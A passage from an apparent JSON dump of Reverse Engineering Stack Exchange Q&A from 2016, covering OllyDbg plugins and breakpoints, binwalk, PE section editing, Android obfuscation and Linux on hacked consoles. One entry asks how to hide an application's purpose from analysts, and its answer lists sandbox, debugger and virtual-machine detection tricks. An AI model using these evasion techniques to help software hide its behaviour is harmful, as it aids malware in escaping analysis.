fault, but I don't expect nothing different. As you can see, the number of NULL's is bigger, further in the memory dump, but no idea why.</p>\n"
    },
    {
        "Id": "13933",
        "CreationDate": "2016-11-14T19:39:09.903",
        "Body": "<p>Today I have a question which may be a little uncertain. How would you \"port\" the Linux OS to a new platform? \nFor example; The nintendo 3ds or the PS4, are consoles which have been recently \"hacked\", this means you can run your own unsigned code. So basically, hackers usually port Linux to demonstrate they have full control over the software (usually this is a \"Live\" version of linux since they still can't sign it so even though they can write it to the NAND the bootloader won't load it, since it only runs signed code.</p>\n\n<p>I guess, I may be wrong, they just get a very stripped, linux kernel source code, modify things like the video output (since PC output is completely different from those consoles obviously) and compile it with a cross-compiler for that platform (well the same one they use to compile their programs), and they create some kind of \"loader\" which will load the OS into memory. Actually I'm just making assumptions from what I've seen, so obviously I'm blind in lots of things.</p>\n\n<p>Your help is greatly appreciated</p>\n\n<p>Cheers,\nPedro.</p>\n",
        "Title": "How is linux loaded into a closed platform that has been hacked?",
        "Tags": "|linux|",
        "Answer": "<p>Your question could be split into two:</p>\n\n<ol>\n<li>How do people load a new OS on a closed platform that has been \"hacked\"?</li>\n<li>How is Linux ported to new systems? (your actual title)</li>\n</ol>\n\n<p>Answers below:</p>\n\n<ol>\n<li><p>In order to run custom OS on a closed device, you need to somehow execute a loader code on a highest possible privilege level. What is a loader? Loader is a small program that performs initial CPU and peripherals configuration, copies some from an external memory device into memory and passes control to it. In case of Linux on game consoles, loader must copy a Linux image to memory, set boot parameters (boot device, available memory ranges \u2014 varies with the platform) and run the kernel. Usually loaders operate in privileged mode. On most CPUs with memory protection it's only enabled by OS kernel after the loader has already run.</p></li>\n<li><p>The process of porting Linux can be different depending on whether or not the processor is already supported by the kernel. If the processor is not supported, you'll need to start from the basics \u2014 implement base functions such as memory setup, context save/restore, hardware timer support and so on.</p>\n\n<p>If the processor is supported and there is a Linux kernel for a similar device, the process is a bit easier since it's likely you'll only need to implement a specific platform support \u2014 the device you plan to run Linux on likely has a power management controller, various low-speed buses (I2C, SPI) connected to sensors and controllers. Modern Linux kernels use device trees to describe the configuration of the specific platform. Device trees provide a way to instantiate existing device drivers and connect them to a specific hardware configuration.</p></li>\n</ol>\n"
    },
    {
        "Id": "13939",
        "CreationDate": "2016-11-15T16:09:06.090",
        "Body": "<p>I'm trying to figure out how to copy API function names to clipboard to analize the asm listing properly on my own editor.</p>\n\n<p>I can see OllyDBG gives you the ability to mouse over a call and seeing the function name in a little window, that's quite cool</p>\n\n<p><a href=\"https://i.stack.imgur.com/Vv8F8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Vv8F8.png\" alt=\"enter image description here\"></a></p>\n\n<p>But... I don't see any way around to copy these function names to the clipboard so i could speed the process of play around with the final asm listing stored on disk faster.</p>\n\n<p>Before even considering this manual copy/pasting I've thought about using a promising plugin called asm2clipboard but that one doesn't seem to work with ollydbg v2.01.</p>\n\n<p>Usually API calls would appear in the form of comments when debugging normal exes, but these particular API functions were loaded by hash and are called via a pointer.</p>\n\n<p>In any case, if there isn't any workaroudn about this, how can i learn how to build ollydbg v2.01 plugins? I see this another <a href=\"https://reverseengineering.stackexchange.com/a/8292/18079\">thread</a> with a hello world example but it seems it requires <code>plugin.h</code> and <code>ollydbg.lib</code>, where can i find them? They don't seem to live in the <a href=\"http://www.ollydbg.de/odbg201.zip\" rel=\"nofollow noreferrer\">odbg201.zip</a> file</p>\n",
        "Title": "How to copy API calls names to clipboard on OllyDBG v2.01?",
        "Tags": "|ollydbg|tools|",
        "Answer": "<p>The plugin is available in an old beta version iirc 201 h scroll down a little in the sites page you should see it on nov 19 2012 entry  look here for my earlier post iirc i posted a full plugin src with compile instructions using vc++  </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/9514/avoid-re-enabling-patches-between-reruns-in-ollydbg/\">Avoid re-enabling patches between reruns in Ollydbg</a></p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/8630/command-for-command-line-plugin-does-not-work\">Command for Command line plugin does not work</a></p>\n\n<p>here is a source code for getting the information<br>\nusage right click in disassemble window to find men Blabbtest<br>\non execution you will get a msgbox with the name of the api </p>\n\n<p>compiled and linked with enterprise wdk compiler and linker\nusing </p>\n\n<p><strong>cl /nologo /J /W4 /Ox /Zi /analyze /EHsc /LD *.cpp /link user32.lib ollydbg.lib</strong>  </p>\n\n<pre><code>#define _UNICODE\n#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include \"plugin.h\"\nvoid Disassemble(ulong addr,ulong threadid,wchar_t *jumpaddr) {\n  ulong length,declength; uchar cmd[MAXCMDSIZE],*decode; t_disasm da; t_reg *reg;\n  length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);\n  decode=Finddecode(addr,&amp;declength); reg=Threadregisters(threadid);\n  length=Disasm(cmd,length,addr,decode,&amp;da,DA_TEXT|DA_OPCOMM|DA_MEMORY,reg,NULL);\n  Decodeknownbyaddr(da.jmpaddr,0,0,0,jumpaddr,1,1);\n}\nstatic int About(t_table *,wchar_t *,ulong ,int mode) {\n  int n; wchar_t s[TEXTLEN]; if (mode==MENU_VERIFY) { return MENU_NORMAL; }\n  else if (mode==MENU_EXECUTE) {\n    Resumeallthreads(); n=StrcopyW(s,TEXTLEN,\n        L\"BlabbTest plugin v 1\\nCopyright from genesis to eternity blabb\\n\\n\");\n    wchar_t jaddy[TEXTLEN] ={0};\n    Disassemble(Getcpudisasmselection(),Getcputhreadid(),jaddy);\n    n+=StrcopyW(s+n,TEXTLEN-n,jaddy); MessageBoxW(0,s,L\"BlabbTest\",0);\n    Suspendallthreads(); return MENU_NOREDRAW;\n  };  return MENU_ABSENT;\n};\nstatic t_menu mainmenu[] = {\n  { L\"|BlabbTest\", L\"About BlabbTest plugin\", K_NONE, About, NULL, 0 },\n  { NULL,NULL,K_NONE,NULL,NULL,0}    };\nextc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {\n  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }   return NULL;\n};\nBOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };\nextc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,\nwchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {\n  if (ollydbgversion&lt;201) {  return 0; }\n  wcscpy_s(pluginname,SHORTNAME,L\"BlabbTest\");\n  wcscpy_s(pluginversion,SHORTNAME,L\"2.00.01\");\n  return PLUGIN_VERSION; };\n</code></pre>\n\n<p>here is the result \n<a href=\"https://i.stack.imgur.com/pp38a.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pp38a.png\" alt=\"enter image description here\"></a></p>\n\n<p>instead of Decodeknownbyaddr() use Findlabel() to find the Label of jmpaddr</p>\n\n<pre><code>#define _UNICODE\n#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include \"plugin.h\"\nstatic int About(t_table *,wchar_t *,ulong ,int mode) {\n  int n; wchar_t s[TEXTLEN],labl[TEXTLEN];ulong length,addr;t_cmdinfo cmdinf={0};\n  if ( mode==MENU_VERIFY ) { return MENU_NORMAL; }\n  else if (mode==MENU_EXECUTE)   {\n    Resumeallthreads();     n=StrcopyW(s,TEXTLEN,\n    L\"BlabbTest plugin v 1\\nCopyright from genesis to eternity blabb\\n\\n\");\n    uchar cmd[MAXCMDSIZE]; addr = Getcpudisasmselection();\n    length=Readmemory(cmd,addr,MAXCMDSIZE,MM_SILENT|MM_PARTIAL);    \n    Cmdinfo(cmd,length,addr,&amp;cmdinf,0xfff,NULL);    \n    Findlabel(cmdinf.jmpaddr,labl,0);\n    n+=StrcopyW(s+n,TEXTLEN,labl);\n    MessageBoxW(0,s,L\"BlabbTest\",0);\n    Suspendallthreads();     return MENU_NOREDRAW;\n  };  return MENU_ABSENT;\n};\nstatic t_menu mainmenu[] = {\n  { L\"|BlabbTest\", L\"About BlabbTest plugin\", K_NONE, About, NULL, 0 },\n  { NULL,NULL,K_NONE,NULL,NULL,0}\n};\nextc t_menu * __cdecl ODBG2_Pluginmenu(wchar_t *type) {\n  if(wcscmp(type,PWM_DISASM)==0) { return mainmenu; }\n  return NULL;\n};\nBOOL WINAPI DllEntryPoint(HINSTANCE ,DWORD ,LPVOID ) { return 1; };\nextc int __cdecl ODBG2_Pluginquery(int ollydbgversion,ulong *,\nwchar_t pluginname[SHORTNAME],wchar_t pluginversion[SHORTNAME]) {\n  if (ollydbgversion&lt;201) {  return 0; }\n  wcscpy_s(pluginname,SHORTNAME,L\"BlabbTest\");\n  wcscpy_s(pluginversion,SHORTNAME,L\"2.00.01\");\n  return PLUGIN_VERSION; };\n</code></pre>\n\n<p>well you should at-least customarily peruse the code and documentation </p>\n\n<p>add these two lines and pass the t_reg * to cmdinfo to decode register or indirect calls </p>\n\n<pre><code>  t_reg *reg;\n  reg=Threadregisters(Getcputhreadid());\nCmdinfo(cmd,length,addr,&amp;cmdinf,0xfff,reg);    \n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/lTqMm.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lTqMm.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13944",
        "CreationDate": "2016-11-16T11:18:20.543",
        "Body": "<p>This should have been made easy using <code>binwalk</code> however I fail to understand what I did wrong with the following syntax:</p>\n\n<pre><code>$ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.1.1.zip\n$ wget --content-disposition https://github.com/devttys0/binwalk/archive/v2.0.1.zip\n$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip &gt; full\n$ binwalk -r -C output -e full\n</code></pre>\n\n<p>lead to the following:</p>\n\n<pre><code>$ ls output/_full.extracted\nbinwalk-2.1.1/\n</code></pre>\n\n<p>Clearly it is missing the <code>binwalk-2.0.1</code> expanded directory. Where did <code>binwalk-2.0.1</code> go ?</p>\n\n<p>I need to use the <code>-r</code> flag (Delete carved files after extraction), because it generates enormous zip and fill my disk (see <a href=\"https://github.com/devttys0/binwalk/issues/153\" rel=\"nofollow noreferrer\">Carved files are often equal in size to the original file</a>)</p>\n",
        "Title": "Automatically extract known file types (eg. zip) using binwalk",
        "Tags": "|binary-analysis|file-format|",
        "Answer": "<p>The <code>UnZip</code> implementation is the cause of your problem. When <code>binwalk</code> extracts <code>full</code>, the first ZIP actually contains both ZIPs, but <code>UnZip</code> only extracts the last one (which is also stored independently in the second ZIP that <code>binwalk</code> extracted).</p>\n\n<p><strong><code>binwalk</code> expects <code>p7zip</code>, so install <code>p7zip</code> to fix this problem.</strong></p>\n\n<pre><code>$ wget https://github.com/devttys0/binwalk/archive/v2.0.1.zip\n$ wget https://github.com/devttys0/binwalk/archive/v2.1.1.zip\n$ mv v2.0.1.zip binwalk-2.0.1.zip\n$ mv v2.1.1.zip binwalk-2.1.1.zip\n$ cat binwalk-2.0.1.zip binwalk-2.1.1.zip &gt; full\n$ ls -l\n2255007 binwalk-2.0.1.zip\n 288920 binwalk-2.1.1.zip\n2543927 full\n$ binwalk -r -C output -e full\n$ ls -l output/_full.extracted/\n2543927 0.zip      # both ZIPs\n 288920 22689F.zip # last ZIP\n$ mkdir final &amp;&amp; unzip output/_full.extracted/'*.zip' -d final/\n$ ls -l final/\nbinwalk-2.1.1                                   # bad\n$ rm -r output/ final/                          # cleanup\n                                                # install p7zip                                                          \n$ binwalk -r -C output -e full\n$ ls -l output/_full.extracted/\nbinwalk-2.0.1\nbinwalk-2.1.1                                   # good\n</code></pre>\n"
    },
    {
        "Id": "13953",
        "CreationDate": "2016-11-17T11:56:19.103",
        "Body": "<p>Is there any command in OllyScript that can fetch me table shown in Memory Map window of OllyDbg. (Memory window comes up when you click on \"M\" icon.) It shows address, size, Owner, Section, Contains, Type, Access, Initial, and Mapped as. But I only need Address, Size, Owner, contains. So even if I can somehow get these details it would be fine. </p>\n",
        "Title": "Getting Memory Map in OllyDbg using OllyScript",
        "Tags": "|ollydbg|ollyscript|",
        "Answer": "<p>if you are comfortable with text parsing<br>\nright_click-> copy to clipboard->wholetable<br>\npaste to foo.txt and print the required columns with awk   </p>\n\n<pre><code>awk \"{print $1,$2,$3,$5}\" memor.txt | head -n 6\nMemory map\nAddress Size Owner Contains\n00010000 00010000 &gt; Heap\n00030000 00004000 &gt; Map\n00040000 00002000 &gt; Map\n00050000 00001000 &gt; Priv\n</code></pre>\n\n<p>update </p>\n\n<p>use windbg !address command with -c \"cmdstr\" option as pasted below</p>\n\n<p><code>%1 to %7</code> are place holders respectively for<br>\n<code>base,end,size .type , state,protection and usage</code><br>\nthat !address command understand and replaces in the <code>command string</code>   </p>\n\n<pre><code>0:000&gt; !address -c:\".printf \\\"%8x\\\\t%8x\\\\t%7\\\\t        %4\\\\n\\\" , %1 , %3\"\n       0       10000    Free            \n   10000       10000    Heap            MEM_MAPPED\n   20000       10000    Free            \n   30000        4000    Other           MEM_MAPPED\n   34000        c000    Free            \n   40000        2000    Other           MEM_MAPPED\n   42000        e000    Free            \n   50000        1000    Other           MEM_PRIVATE\n   51000       5f000    Free            \n   b0000       3c000    Stack           MEM_PRIVATE\n   ec000        1000    Stack           MEM_PRIVATE\n   ed000        3000    Stack           MEM_PRIVATE\n   f0000       67000    MappedFile          MEM_MAPPED\n  157000       19000    Free            \n  170000        6000    Heap            MEM_PRIVATE\n  176000       fa000    Heap            MEM_PRIVATE\n  270000      920000    Free            \n  b90000        1000    Image           MEM_IMAGE\n  b91000       53000    Image           MEM_IMAGE\n  be4000        5000    Image           MEM_IMAGE\n  be9000       67000    Image           MEM_IMAGE\n  c50000    6ccc0000    Free            \n6d910000        1000    Image           MEM_IMAGE\n</code></pre>\n"
    },
    {
        "Id": "13957",
        "CreationDate": "2016-11-17T14:14:59.750",
        "Body": "<p>When decompiling an apk with <strong>apktool</strong>, the <code>classes.dex</code> file is decompiled into folders <code>smali_classes#</code>, and sorted their respective packages. I recognize some of the files, as they are mentioned in <code>AndroidManifest.xml</code>, but some classes and packages are named with one or two letters (Like <strong>aa</strong>, <strong>az</strong>, <strong>b</strong>, etc.).</p>\n\n<p>I don't think that this is obfuscation, because if someone was to obfuscate the code, they would probably apply it to every class.</p>\n\n<p>Are these strangely named classes just some sort of reference made by the Android compiler, or could it indeed be obfuscated code? They don't seem to be references, as some of the single letter files are generally not too short.</p>\n",
        "Title": "What do the unusually named packages and files usually mean?",
        "Tags": "|decompilation|android|obfuscation|",
        "Answer": "<p>I'd still say these are obfuscated classes, probably not written by the author of the apk himself, but some 3rd-party library.</p>\n\n<p>The provider of the 3rd-party library wants to protect their own implementation, so they provide a few unobfuscated class/method names to the world, and obfuscate their internal code. When someone else builds an apk, they'll include that library in their .dex file, so even if the app programmer doesn't obfuscate their classes, the classes that come from the 3rd party library are still obfuscated.</p>\n\n<p>For example, this is the listing of the files that Oracle's oraclepki.jar contains (not that I assume your app uses an oracle database, but that's an example I had handy):</p>\n\n<pre><code>$ unzip -l oraclepki.jar\nArchive:  oraclepki.jar\n  Length      Date    Time    Name\n---------  ---------- -----   ----\n      233  2012-12-06 00:33   META-INF/MANIFEST.MF\n     2272  2012-12-06 00:33   a.class\n     8479  2012-12-06 00:33   KeyStoreTest.class\n      242  2012-12-06 00:33   oracle/security/pki/BadPaddingException.class\n     6160  2012-12-06 00:33   oracle/security/pki/a.class\n     5575  2012-12-06 00:33   oracle/security/pki/b.class\n      717  2012-12-06 00:33   oracle/security/pki/c.class\n     5561  2012-12-06 00:33   oracle/security/pki/Cipher.class\n     1360  2012-12-06 00:33   oracle/security/pki/CipherSpi.class\n     9102  2012-12-06 00:33   oracle/security/pki/d.class\n      926  2012-12-06 00:33   oracle/security/pki/DESSecretKey.class\n     2395  2012-12-06 00:33   oracle/security/pki/e.class\n      827  2012-12-06 00:33   oracle/security/pki/DESedeSecretKey.class\n     2663  2012-12-06 00:33   oracle/security/pki/FileLocker.class\n      248  2012-12-06 00:33   oracle/security/pki/IllegalBlockSizeException.class\n      495  2012-12-06 00:33   oracle/security/pki/IvParameterSpec.class\n     1367  2012-12-06 00:33   oracle/security/pki/NZNative.class\n      245  2012-12-06 00:33   oracle/security/pki/NoSuchPaddingException.class\n     5529  2012-12-06 00:33   oracle/security/pki/OracleCRL.class\n     1094  2012-12-06 00:33   oracle/security/pki/OracleCertExtension.class\n     2385  2012-12-06 00:33   oracle/security/pki/f.class\n     9041  2012-12-06 00:33   oracle/security/pki/g.class\n      592  2012-12-06 00:33   oracle/security/pki/h.class\n     6513  2012-12-06 00:33   oracle/security/pki/i.class\n     1212  2012-12-06 00:33   oracle/security/pki/j.class\n      634  2012-12-06 00:33   oracle/security/pki/k.class\n</code></pre>\n\n<p>Classes like <code>Cipher</code>, <code>NZNative</code> etc. are supposed to be callable from the outside, but Oracle doesn't want you to know what <code>a.class</code>, <code>b.class</code> etc. are doing.</p>\n\n<p>If someone built an app that somehow connects to an oracle database using the wallet feature, they'd have to include these classes into the app's classes.dex, so this is what you'd see in apktool as well.</p>\n"
    },
    {
        "Id": "13969",
        "CreationDate": "2016-11-17T23:16:50.573",
        "Body": "<p>I want to set a breakpoint when the register EAX references a specific Unicode string, e.g. \"Enter\". In Ollydbg there is usually right beside the EAX value a string that says \"ASCII: Enter \".</p>\n\n<p>I read that I have to use Olly v1.10 for this purpose. When I go to \"Debug\" -> \"Set Condition\" I can write in the text field \"Condition is TRUE\" for instance this:</p>\n\n<pre><code>EAX == 00000010\n</code></pre>\n\n<p>I press F9 (Run) and the breakpoint will work. So once EAX becomes 0x10 olly will stop. However when I do this:</p>\n\n<pre><code>UNICODE[EAX] == \"Enter\"\n</code></pre>\n\n<p>it doesn't work. What am I doing wrong? Doesn't matter which program I use and which Olly version, I can't get this to work. I would like to match strings like \"Enter text\" as well, so any appearance of \"Enter\".</p>\n\n<p>In the end I'm basically looking for a way to stop olly once a specific string is loaded into RAM. How can I achieve this?</p>\n\n<p>Any help is appreciated. Thanks!</p>\n",
        "Title": "OllyDbg: How to set conditional breakpoint on a register value?",
        "Tags": "|disassembly|ollydbg|strings|breakpoint|",
        "Answer": "<p>there is a slight syntax change between 1.1 and 2.01 the square are compulsory even when not dereferencing   </p>\n\n<p>so to have a condition where eax points to unicode string you need a condition like   </p>\n\n<p><strong>[UNICODE EAX] == \"what\"</strong></p>\n\n<p>suppose you have code like this </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\nwchar_t *strings[] = { L\"is this what\", L\"does it matter\", L\"what is this\",\n  L\"who are you\", L\"why am i doing this\", L\"lest scoot from here\"\n};\nPWCHAR foo (int a) {\n  return strings[a];\n}\nint main(void ) {\n  for(int i=5;i&gt;=0;i--) {\n    printf(\"%S\\n\",foo(i));\n  }\n  return 0;\n}\n</code></pre>\n\n<p>setting a break as shown in screenshot will break correctly in 2.01\n<a href=\"https://i.stack.imgur.com/YVDVY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YVDVY.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13973",
        "CreationDate": "2016-11-18T09:16:55.370",
        "Body": "<p>Suppose you want to conceal an application's true purpose from analysts by reacting to dynamic analysis tools. How is it possible to detect running (in debugger mode) the application under a reverse engineering tool (e.g., IDA Pro) by the application itself? What code do you propose to use while preparing the application?</p>\n",
        "Title": "Dynamic Analysis Detection",
        "Tags": "|ida|ida-plugin|dynamic-analysis|",
        "Answer": "<p><strong>the easy answer:</strong></p>\n\n<p>probably a Sleep(random()*60000 + 10000) is more than enough to thwat most dynamic analysis systems. Or if((int)(random()*10) == 8) and so on</p>\n\n<p><strong>check for debuggers:</strong></p>\n\n<p>The 'standard' way is to use <a href=\"https://msdn.microsoft.com/de-de/library/windows/desktop/ms680345(v=vs.85).aspx\" rel=\"nofollow noreferrer\">IsDebuggerPresent</a>. But analysis systems are aware of that and try to patch these calls. So there are similar approaches checking the field in the EPROCESS structure directly. I've also seen malware checking the result of <a href=\"https://msdn.microsoft.com/de-de/library/windows/desktop/aa363362(v=vs.85).aspx\" rel=\"nofollow noreferrer\">OutputDebugString</a>.</p>\n\n<p><strong>check for analysis systems</strong></p>\n\n<p>Some malware families employ checks for certain process names implying the system may be used for analysis, like the pcap driver or the names of debugger-processes. Also, the availability of certain libraries may prevent the program from exhibiting its real behavior.</p>\n\n<p><strong>check for virtual environment</strong></p>\n\n<p>There are already lots of papers about this. Most dynamic analysis of potentially malicious programs happens in virtual environments. There are different approaches you can take here:</p>\n\n<ul>\n<li>Timing traps - virtualization is slower than bare metal machines</li>\n<li>Undefined behavior - often virtualization tools respond differently in error situations (e.g. invalid opcodes)</li>\n<li>Suspicious strings - e.g. 'VirtualBox Harddrive', ...</li>\n</ul>\n\n<p>Also, there are some very advanced approaches, like checking the behavior of the TLB.</p>\n"
    },
    {
        "Id": "13992",
        "CreationDate": "2016-11-19T20:36:11.317",
        "Body": "<p>I'm working with a program that I can't reasonably run from console; it is started by another program with complex calculated and network-gotten arguments, and that program is complicated as well.</p>\n\n<p>To view output on Windows I can AllocConsole, but it seems there is no such equivalent for Mac. According to Ivan Vu\u010dica, \"A console is \"allocated\" by default. You cannot order the OS to open a console though.\" (<a href=\"https://stackoverflow.com/questions/1518717/how-to-get-an-output-console-in-an-ogre-project-under-macosx\">link</a>).</p>\n\n<p>His answer gives some good information, but little useful in a reverse-engineering context as I don't have the project.</p>\n\n<p>So, if I really, really, really want to get a console instead of outputting to a file or creating some GUI, what might I do? If project options allows for enabling / disabling console, presumably there is some flag in the .app. Is it editable? Are there other options?</p>\n",
        "Title": "MacOS: Output to console in non-console app",
        "Tags": "|osx|",
        "Answer": "<p>It really depends what the application you are trying to run is logging to.</p>\n\n<p>If the application uses <code>NSLog()</code> and other associated Cocoa APIs, you're in luck.  The output should appear in the Apple system log and can be viewed and caputired using Console.app.</p>\n\n<p>If the application is logging to stdout, things get a little more challenging.  From <a href=\"https://stackoverflow.com/q/13104588/2415822\">how to get stdout into Console.app</a> on Stack Overflow:</p>\n\n<blockquote>\n  <p>Prior to Mountain Lion, all processes managed by <code>launchd</code>, including\n  regular applications, had their stdout and stderr file descriptors\n  forwarded to the system log. In Mountain Lion and above, stdout and\n  stderr go nowhere for <code>launchd</code> managed applications. Only messages\n  explicitly sent to the system log will end up there.</p>\n</blockquote>\n\n<p>I'm not sure it would be possible to see these log messages, unless you were to redirect stdout or somehow hook into whatever function that application was using to log and ASL (now deprecated) or <code>os_log</code>.</p>\n\n<p>If you're lucky, you can run the original OS X bundle application from the command line, and look for any useful logging from there.</p>\n"
    },
    {
        "Id": "13995",
        "CreationDate": "2016-11-20T00:51:26.477",
        "Body": "<p>I want to be able to accurately add a section to a binary by hand, without tools.</p>\n\n<p>I am using <a href=\"http://www.cgsoftlabs.ro/studpe.html\" rel=\"nofollow noreferrer\">Stud_Pe</a> for adding a section to a binary. While this work, I feel it's important to be able to do this myself or at least understand it in it's entirety. </p>\n\n<p>Added Section/Stud here called <strong>.test</strong> with a size of 0x2000 <a href=\"https://i.stack.imgur.com/yBBSo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yBBSo.png\" alt=\"enter image description here\"></a> </p>\n\n<p>Something I noticed is that the when I do a bindiff on the newly added section There is always extra bytes added to this. Why is this? \n<a href=\"https://i.stack.imgur.com/SQ2bW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SQ2bW.png\" alt=\"enter image description here\"></a></p>\n\n<p>I thought there might be a pattern but it seems random and the sizes have to be exact , so I am curious if someone already knows. </p>\n\n<p>Here is a difference list based on the bytes added. \nWhy is this happening? </p>\n\n<pre><code>0x2000 2  bytes\n0x3000 14 bytes\n0x4000 10 bytes\n0x5000 4  bytes\n0x6000 18 bytes\n0x7000 2  bytes\n0x8000 16 bytes\n</code></pre>\n\n<p>Thanks!</p>\n",
        "Title": "Adding section to PE binary using Stud_Pe",
        "Tags": "|windows|pe|binary|section|",
        "Answer": "<p>Check this post out it may be helpful <a href=\"http://ge0-it.blogspot.fr/2012/08/adding-section-to-your-pe-easy-way.html\" rel=\"nofollow noreferrer\">http://ge0-it.blogspot.fr/2012/08/adding-section-to-your-pe-easy-way.html</a></p>\n\n<p>Code snippet from source above:</p>\n\n<pre><code>VOID PortableExecutable::AddSection(PortableExecutable::SectionHeader&amp; newSectionHeader) {\n    DWORD dwRawSectionOffset = (DWORD)GetFileSize();\n\n    /* Aligns dwRawSectionOffset to OptionalHeader.FileAlignment */\n    dwRawSectionOffset += this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment - (dwRawSectionOffset % this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment);\n\n    /* Does the whole header's length overflows OptionalHeader.SizeOfHeaders? */\n    if(\n        (sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + (this-&gt;m_imageNtHeaders.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)))\n        &gt; this-&gt;m_imageNtHeaders.OptionalHeader.SizeOfHeaders\n        ) {\n\n            /* If it's the case, add free space */\n            AddFreeSpaceAfterHeaders( this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment );\n\n            /* Adding 'FileAlignment' value to SizeOfHeaders fields then */\n            this-&gt;m_imageNtHeaders.OptionalHeader.SizeOfHeaders += this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment;\n\n    }\n\n    newSectionHeader.SetPointerToRawData(dwRawSectionOffset);\n\n    /* Adding the new section header */\n    this-&gt;m_sectionHeaders.push_back(newSectionHeader);\n\n    /* Incrementing the 'NumberOfSections' field */\n    ++this-&gt;m_imageNtHeaders.FileHeader.NumberOfSections;\n\n    /* Adding to SizeOfImage the SectionAlignment value */\n    this-&gt;m_imageNtHeaders.OptionalHeader.SizeOfImage += this-&gt;m_imageNtHeaders.OptionalHeader.SectionAlignment;\n\n    /* Rewriting the whole headers */\n    m_stream.seekg(this-&gt;m_imageDosHeader.e_lfanew, std::ios::beg);\n    m_stream.write((const char*)&amp;this-&gt;m_imageNtHeaders, sizeof(IMAGE_NT_HEADERS));\n\n    /* Rewriting the section headers then */\n    std::vector&lt;PortableExecutable::SectionHeader&gt;::iterator it =\n        this-&gt;m_sectionHeaders.begin();\n\n    while(it != this-&gt;m_sectionHeaders.end()) {\n        m_stream.write((const char*)&amp;it-&gt;ImageSectionHeader(), sizeof(IMAGE_SECTION_HEADER));\n        ++it;\n    }\n\n    /* Finally adding 'FileAlignment' bytes to the end of the file,\n    which actually corresponds to the section's memory space! */\n    m_stream.seekg(this-&gt;m_sectionHeaders.at( this-&gt;m_sectionHeaders.size()-1).GetPointerToRawData(), std::ios::beg);\n\n    char* bytes = new char[this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment];\n    ::memset(bytes, '\\0', this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment);\n    m_stream.write(bytes, this-&gt;m_imageNtHeaders.OptionalHeader.FileAlignment);\n    delete[] bytes;\n}\n</code></pre>\n"
    },
    {
        "Id": "14001",
        "CreationDate": "2016-11-20T18:20:17.013",
        "Body": "<p>I'm trying to disassemble <code>main</code> of programs function in Visual Mode and i want to see Disassembly Graph, but radare2 show me this message:<br>\n<code>Not in a function. Type 'df' to define it here</code>\n<br><em>googling result for this message was <a href=\"https://github.com/radare/radare2/blob/master/libr/core/visual.c#L1533\" rel=\"nofollow noreferrer\">radare2 source on GitHub</a>.</em></p>\n\n<p>My steps:<br>\n1 - <code>r2 program</code><br>\n2 - <code>s main</code> or <code>s sym.main</code><br>\n3 - <code>VV</code></p>\n\n<p>p.s.: I'm a n00b in r2.</p>\n",
        "Title": "Not in a function. Type 'df' to define it here",
        "Tags": "|radare2|",
        "Answer": "<p>Run r2 with <code>-A</code> flag or run <code>aaa</code> in r2 to analyze all referenced code.<br>\nin <code>r2 -h</code>: <code>-A    run 'aaa' command to analyze all referenced code</code>.<br></p>\n\n<p>my r2 version: <code>0.10.6</code></p>\n"
    },
    {
        "Id": "14007",
        "CreationDate": "2016-11-21T08:53:43.740",
        "Body": "<p>I have some understanding of Assembly after reading some tutorials and a few chapters from the \"PC Assembly Book\". Right now, I am trying to understand the instructions I see in OllyDbg, but it seems to follow a different syntax than the NASM syntax I am used to.</p>\n\n<p>This OllyDbg instruction for example doesn't seem intuitive to me, especially the <code>PTR SS:</code> part.</p>\n\n<pre><code>MOV DWORD PTR SS:[ESP+8],EBX\n</code></pre>\n\n<p>I am not looking for an explanation of this particular construct, but rather a documentation for the whole syntax. How can I find that?</p>\n",
        "Title": "What syntax does OllyDbg follow in its dissassembly window?",
        "Tags": "|disassembly|assembly|ollydbg|",
        "Answer": "<p>OllyDbg uses the MASM/Intel syntax for disassembly. You can get the basic documentation at <a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html\" rel=\"nofollow noreferrer\">http://www.cs.virginia.edu/~evans/cs216/guides/x86.html</a>. The <a href=\"http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html\" rel=\"nofollow noreferrer\">Intel developer manuals</a> can give you more detail about what specific instructions do and what segments mean (in your case the memory location <code>[ESP+8]</code> uses the SS segment).</p>\n\n<p>On Windows <strong>user mode</strong> it is safe to ignore all segments (<code>SS:[ESP+8]</code> means exactly the same as <code>DS:[ESP+8]</code>), only the FS (32 bit) and GS (64 bit) segments have a meaning. See <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">this page</a> for more information.</p>\n\n<p>A good resource is <a href=\"https://www.scribd.com/document/331803715/Basics-of-Assembler\" rel=\"nofollow noreferrer\">Basics of Assembler</a> by <a href=\"https://tuts4you.com/download.php?list.17\" 